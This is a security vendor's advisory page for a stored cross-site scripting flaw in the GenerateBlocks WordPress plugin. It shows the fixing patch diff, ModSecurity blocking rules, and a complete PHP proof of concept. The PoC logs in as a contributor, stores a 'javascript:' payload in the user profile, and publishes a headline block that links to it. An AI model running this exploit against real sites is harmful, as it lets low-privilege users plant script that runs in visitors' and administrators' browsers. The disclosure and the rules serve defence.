+	private function normalize_boolean_value( $value ): bool {
+		if ( ! is_scalar( $value ) ) {
+			return false;
+		}
+
+		return rest_sanitize_boolean( $value );
+	}
+
+	/**
+	 * Check that a library has values safe to access through the DTO.
+	 *
+	 * @param mixed $library The library object to validate.
+	 * @return bool
+	 */
+	private function is_valid_library( $library ): bool {
+		if ( ! $library instanceof GenerateBlocks_Library_DTO ) {
+			return false;
+		}
+
+		$data = $library->serialize();
+
+		if ( empty( $data['id'] ) || ! is_scalar( $data['id'] ) ) {
+			return false;
+		}
+
+		foreach ( array( 'name', 'domain', 'publicKey' ) as $key ) {
+			if ( isset( $data[ $key ] ) && ! is_scalar( $data[ $key ] ) ) {
+				return false;
+			}
+		}
+
+		foreach ( array( 'isEnabled', 'isDefault', 'isLocal' ) as $key ) {
+			if ( isset( $data[ $key ] ) && ! is_scalar( $data[ $key ] ) ) {
+				return false;
+			}
+		}
+
+		return true;
 	}

 	/**
@@ -279,6 +377,10 @@
 			$cached_data = array_filter(
 				$cached_data,
 				function( $data ) use ( $query_args ) {
+					if ( ! isset( $data['categories'] ) || ! is_array( $data['categories'] ) ) {
+						return false;
+					}
+
 					return in_array( $query_args['categoryId'], $data['categories'] );
 				}
 			);
@@ -288,6 +390,10 @@
 			$cached_data = array_filter(
 				$cached_data,
 				function( $data ) use ( $query_args ) {
+					if ( ! is_array( $data ) ) {
+						return false;
+					}
+
 					foreach ( $data as $key => $value ) {
 						if ( is_string( $value ) && stripos( $value, $query_args['search'] ) !== false ) {
 							return true;
@@ -324,9 +430,15 @@
 			return;
 		}

+		if ( ! is_array( $data ) ) {
+			return;
+		}
+
 		$expiration = self::get_cache_expiry();

 		if ( 'patterns' === $collection ) {
+			self::delete_cached_data( $cache_key, $collection );
+
 			if ( ! empty( $data ) ) {
 				$chunks = array_chunk( $data, 20, true );

@@ -343,6 +455,30 @@
 	}

 	/**
+	 * Delete cached library data by collection.
+	 *
+	 * @param string $cache_key The key to delete.
+	 * @param string $collection The collection to delete.
+	 */
+	public static function delete_cached_data( $cache_key = '', $collection = '' ) {
+		if ( ! $cache_key ) {
+			return;
+		}
+
+		if ( 'patterns' !== $collection ) {
+			delete_transient( $cache_key );
+			return;
+		}
+
+		$index = 0;
+
+		while ( false !== get_transient( $cache_key . '_' . $index ) ) {
+			delete_transient( $cache_key . '_' . $index );
+			$index++;
+		}
+	}
+
+	/**
 	 * Adds GB custom query variables.
 	 *
 	 * @param array $vars The variables.
@@ -385,6 +521,10 @@
 	 * @return bool
 	 */
 	public function hide_admin_bar( $show_admin_bar ) {
+		if ( ! isset( $GLOBALS['wp_query'] ) ) {
+			return $show_admin_bar;
+		}
+
 		if ( false !== get_query_var( 'gb-template-viewer', false ) ) {
 			$show_admin_bar = false;
 		}
--- a/generateblocks/includes/pattern-library/class-pattern-library-rest.php
+++ b/generateblocks/includes/pattern-library/class-pattern-library-rest.php
@@ -163,21 +163,18 @@
 	 */
 	public function save_libraries( WP_REST_Request $request ): WP_REST_Response {
 		$data = $request->get_param( 'data' );
-		$libraries = array_map(
-			function( $library ) {
-				if ( ! $library['isLocal'] && ! $library['isDefault'] ) {
-					// Save all data if this is a remote library.
-					return $library;
-				}
-
-				// Only save the ID and status for local and default libraries.
-				// The rest of the data will be supplied via the PHP filter.
-				return [
-					'id' => $library['id'],
-					'isEnabled' => $library['isEnabled'],
-				];
-			},
-			$data
+
+		if ( ! is_array( $data ) ) {
+			return $this->error( 400, __( 'Invalid library data.', 'generateblocks' ) );
+		}
+
+		$libraries = array_values(
+			array_filter(
+				array_map(
+					[ $this, 'sanitize_library_data' ],
+					$data
+				)
+			)
 		);

 		update_option( 'generateblocks_pattern_libraries', $libraries );
@@ -192,7 +189,7 @@
 	 * @return WP_REST_Response
 	 */
 	public function list_categories( WP_REST_Request $request ): WP_REST_Response {
-		$library_id = $request->get_param( 'libraryId' );
+		$library_id = $this->sanitize_request_string( $request->get_param( 'libraryId' ) );

 		if ( ! $library_id ) {
 			return $this->error( 404, "Library of id "$library_id" was not found." );
@@ -216,9 +213,9 @@
 	 * @return WP_REST_Response
 	 */
 	public function list_patterns( WP_REST_Request $request ): WP_REST_Response {
-		$library_id = $request->get_param( 'libraryId' );
-		$search = $request->get_param( 'search' );
-		$category_id = $request->get_param( 'categoryId' );
+		$library_id = $this->sanitize_request_string( $request->get_param( 'libraryId' ) );
+		$search = $this->sanitize_request_string( $request->get_param( 'search' ) );
+		$category_id = $this->sanitize_request_string( $request->get_param( 'categoryId' ) );

 		if ( ! $library_id ) {
 			return $this->error( 404, "Library of id "$library_id" was not found." );
@@ -255,7 +252,17 @@
 		string $collection,
 		array $query_args = array()
 	): WP_REST_Response {
-		$endpoint = "$library->domain/wp-json/generateblocks-pro/v1/pattern-library/$collection";
+		if ( ! in_array( $collection, array( 'categories', 'patterns' ), true ) ) {
+			return $this->error( 400, __( 'Invalid library collection.', 'generateblocks' ) );
+		}
+
+		$domain = esc_url_raw( $library->domain );
+
+		if ( ! $domain ) {
+			return $this->error( 400, __( 'Invalid library domain.', 'generateblocks' ) );
+		}
+
+		$endpoint = trailingslashit( $domain ) . "wp-json/generateblocks-pro/v1/pattern-library/$collection";
 		$url = add_query_arg( $query_args, $endpoint );
 		$cache_key = $library->id . '-' . $collection;
 		$cache = GenerateBlocks_Libraries::get_cached_data( $cache_key, $query_args, $collection );
@@ -270,6 +277,7 @@
 				'headers' => array(
 					'X-GB-Public-Key' => $library->public_key,
 				),
+				'timeout' => 15,
 			)
 		);

@@ -277,10 +285,25 @@
 			return $this->error( 500, "Unable to request from $endpoint" );
 		}

+		$response_code = (int) wp_remote_retrieve_response_code( $request );
+
+		if ( 200 !== $response_code ) {
+			return $this->error( $response_code ? $response_code : 500, "Unable to request from $endpoint" );
+		}
+
 		$body = wp_remote_retrieve_body( $request );
 		$body = json_decode( $body, true );
+
+		if ( ! is_array( $body ) ) {
+			return $this->error( 500, __( 'Invalid library response.', 'generateblocks' ) );
+		}
+
 		$data = $body['response']['data'] ?? [];

+		if ( ! is_array( $data ) ) {
+			return $this->error( 500, __( 'Invalid library response data.', 'generateblocks' ) );
+		}
+
 		// Cache our data.
 		GenerateBlocks_Libraries::set_cached_data( $data, $cache_key, $collection );

@@ -295,7 +318,16 @@
 	 * @return WP_REST_Response
 	 */
 	public function get_cache_data( WP_REST_Request $request ): WP_REST_Response {
-		$id = $request->get_param( 'id' );
+		$id = $this->sanitize_request_string( $request->get_param( 'id' ) );
+
+		if ( ! $id ) {
+			return $this->error( 400, __( 'Invalid library id.', 'generateblocks' ) );
+		}
+
+		if ( is_null( GenerateBlocks_Libraries::get_instance()->get_one( $id ) ) ) {
+			return $this->error( 404, __( 'Library not found.', 'generateblocks' ) );
+		}
+
 		$expiration_time = get_option( '_transient_timeout_' . $id . '-patterns_0' );

 		if ( ! $expiration_time ) {
@@ -323,28 +355,100 @@
 	 * @return WP_REST_Response
 	 */
 	public function clear_cache( WP_REST_Request $request ): WP_REST_Response {
-		$id = $request->get_param( 'id' );
+		$id = $this->sanitize_request_string( $request->get_param( 'id' ) );

-		global $wpdb;
-		$id = sanitize_text_field( $id );
-		$prefix = $wpdb->esc_like( '_transient_' . $id );
-
-		$transient_ids = $wpdb->get_col(
-			$wpdb->prepare(
-				"SELECT option_name FROM $wpdb->options WHERE option_name LIKE %s",
-				$prefix . '%'
-			)
-		);
+		if ( ! $id ) {
+			return $this->error( 400, __( 'Invalid library id.', 'generateblocks' ) );
+		}

-		foreach ( $transient_ids as $transient_id ) {
-			$transient = str_replace( '_transient_', '', $transient_id );
-			delete_transient( $transient );
+		if ( is_null( GenerateBlocks_Libraries::get_instance()->get_one( $id ) ) ) {
+			return $this->error( 404, __( 'Library not found.', 'generateblocks' ) );
 		}

+		GenerateBlocks_Libraries::delete_cached_data( $id . '-categories' );
+		GenerateBlocks_Libraries::delete_cached_data( $id . '-patterns', 'patterns' );
+		GenerateBlocks_Libraries::delete_cached_data( $id . '_global-style-data' );
+
 		return $this->success( [] );
 	}

 	/**
+	 * Sanitize scalar REST request values.
+	 *
+	 * @param mixed $value The value to sanitize.
+	 * @return string
+	 */
+	private function sanitize_request_string( $value ): string {
+		if ( ! is_scalar( $value ) ) {
+			return '';
+		}
+
+		return sanitize_text_field( (string) $value );
+	}
+
+	/**
+	 * Sanitize scalar REST request URLs.
+	 *
+	 * @param mixed $value The value to sanitize.
+	 * @return string
+	 */
+	private function sanitize_request_url( $value ): string {
+		if ( ! is_string( $value ) ) {
+			return '';
+		}
+
+		return esc_url_raw( $value, array( 'http', 'https' ) );
+	}
+
+	/**
+	 * Sanitize a saved library row.
+	 *
+	 * @param mixed $library The library data.
+	 * @return array
+	 */
+	private function sanitize_library_data( $library ): array {
+		if ( ! is_array( $library ) ) {
+			return [];
+		}
+
+		$id = $this->sanitize_request_string( $library['id'] ?? '' );
+
+		if ( ! $id ) {
+			return [];
+		}
+
+		$is_local = rest_sanitize_boolean( $library['isLocal'] ?? false );
+		$is_default = rest_sanitize_boolean( $library['isDefault'] ?? false );
+		$is_enabled = rest_sanitize_boolean( $library['isEnabled'] ?? false );
+
+		if ( ! $is_local && ! $is_default ) {
+			$domain = $this->sanitize_request_url( $library['domain'] ?? '' );
+
+			if ( ! $domain ) {
+				return [];
+			}
+
+			// Save all data if this is a remote library.
+			return [
+				'id' => $id,
+				'name' => $this->sanitize_request_string( $library['name'] ?? '' ),
+				'domain' => $domain,
+				'publicKey' => $this->sanitize_request_string( $library['publicKey'] ?? '' ),
+				'isEnabled' => $is_enabled,
+				'isDefault' => $is_default,
+				'isLocal' => $is_local,
+			];
+		}
+
+		// Only save the ID and status for local and default libraries.
+		// The rest of the data will be supplied via the PHP filter.
+		return [
+			'id' => $id,
+			'isEnabled' => $is_enabled,
+		];
+	}
+
+	/**
 	 * Returns a success response.
 	 *
 	 * @param array $data The data.
--- a/generateblocks/plugin.php
+++ b/generateblocks/plugin.php
@@ -5,7 +5,7 @@
  * Description: A small collection of lightweight WordPress blocks that can accomplish nearly anything.
  * Author: Tom Usborne
  * Author URI: https://tomusborne.com
- * Version: 2.2.1
+ * Version: 2.3.0
  * Requires at least: 6.5
  * Requires PHP: 7.2
  * License: GPL2+
@@ -19,7 +19,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'GENERATEBLOCKS_VERSION', '2.2.1' );
+define( 'GENERATEBLOCKS_VERSION', '2.3.0' );
 define( 'GENERATEBLOCKS_DIR', plugin_dir_path( __FILE__ ) );
 define( 'GENERATEBLOCKS_DIR_URL', plugin_dir_url( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9756
# Block exploitation via 'javascript:' in meta_field dynamic link attributes
# The vulnerability is triggered when a contributor sets linkMetaFieldType to a user meta key
# that contains a 'javascript:' value. We block POST requests to the REST API endpoint
# that create/update posts with linkMetaFieldType and a javascript: prefix in related meta.

SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/posts$" 
  "id:20269756,phase:2,deny,status:403,chain,msg:'CVE-2026-9756 GenerateBlocks Stored XSS via meta field dynamic link',severity:'CRITICAL',tag:'CVE-2026-9756'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx ^javascript:" "t:none,t:lowercase,t:removeWhitespace"

# Also block direct profile updates that set description to javascript: URI
SecRule REQUEST_URI "@streq /wp-admin/profile.php" 
  "id:20269757,phase:2,deny,status:403,chain,msg:'CVE-2026-9756 GenerateBlocks payload in user meta',severity:'CRITICAL',tag:'CVE-2026-9756'"
  SecRule ARGS_POST:description "@rx ^javascript:" "t:none,t:lowercase,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9756 - GenerateBlocks <= 2.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Headline Block 'linkMetaFieldType' Dynamic Link Attribute

$target_url = 'http://example.com'; // Change to target WordPress URL
$contributor_user = 'contributor';   // Change to contributor username
$contributor_pass = 'password';       // Change to contributor password

// Step 1: Authenticate as contributor
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($contributor_user) . '&pwd=' . urlencode($contributor_pass) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// Step 2: Update user profile (description) with XSS payload
$payload = 'javascript:alert("XSS by Atomic Edge")'; // The JavaScript payload
$nonce_url = $target_url . '/wp-admin/profile.php';
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
$profile_page = curl_exec($ch);

// Extract _wpnonce for profile update
preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_page, $matches);
$nonce = $matches[1] ?? '';

// Update description
$update_url = $target_url . '/wp-admin/profile.php';
$post_data = [
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/profile.php',
    'from' => 'profile',
    'checkuser_id' => '',
    'description' => $payload,
    'email' => $contributor_user . '@example.com',
    'submit' => 'Update Profile',
    'action' => 'update',
];
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// Step 3: Get REST API nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$rest_nonce = curl_exec($ch);

// Step 4: Create a post with a GenerateBlocks Headline block containing the dynamic link payload
$post_data = [
    'title' => 'Test GB XSS ' . time(),
    'content' => '<!-- wp:generateblocks/headline {"uniqueId":"test123","element":"h2","linkType":"dynamic","dynamicLinkType":"meta_field","linkMetaFieldType":"description","anchor":"test-xss"} --><h2 class="gb-headline gb-headline-test123" id="test-xss"><a href="/placeholder">Click me</a></h2><!-- /wp:generateblocks/headline -->',
    'status' => 'publish',
    'categories' => [1],
];

$post_url = $target_url . '/wp-json/wp/v2/posts';
$headers = [
    'X-WP-Nonce: ' . $rest_nonce,
    'Content-Type: application/json',
];
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);

curl_close($ch);

echo "Check the published post. When a user clicks the headline link, the XSS payload executes.n";
echo "Payload stored in description: $payloadn";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.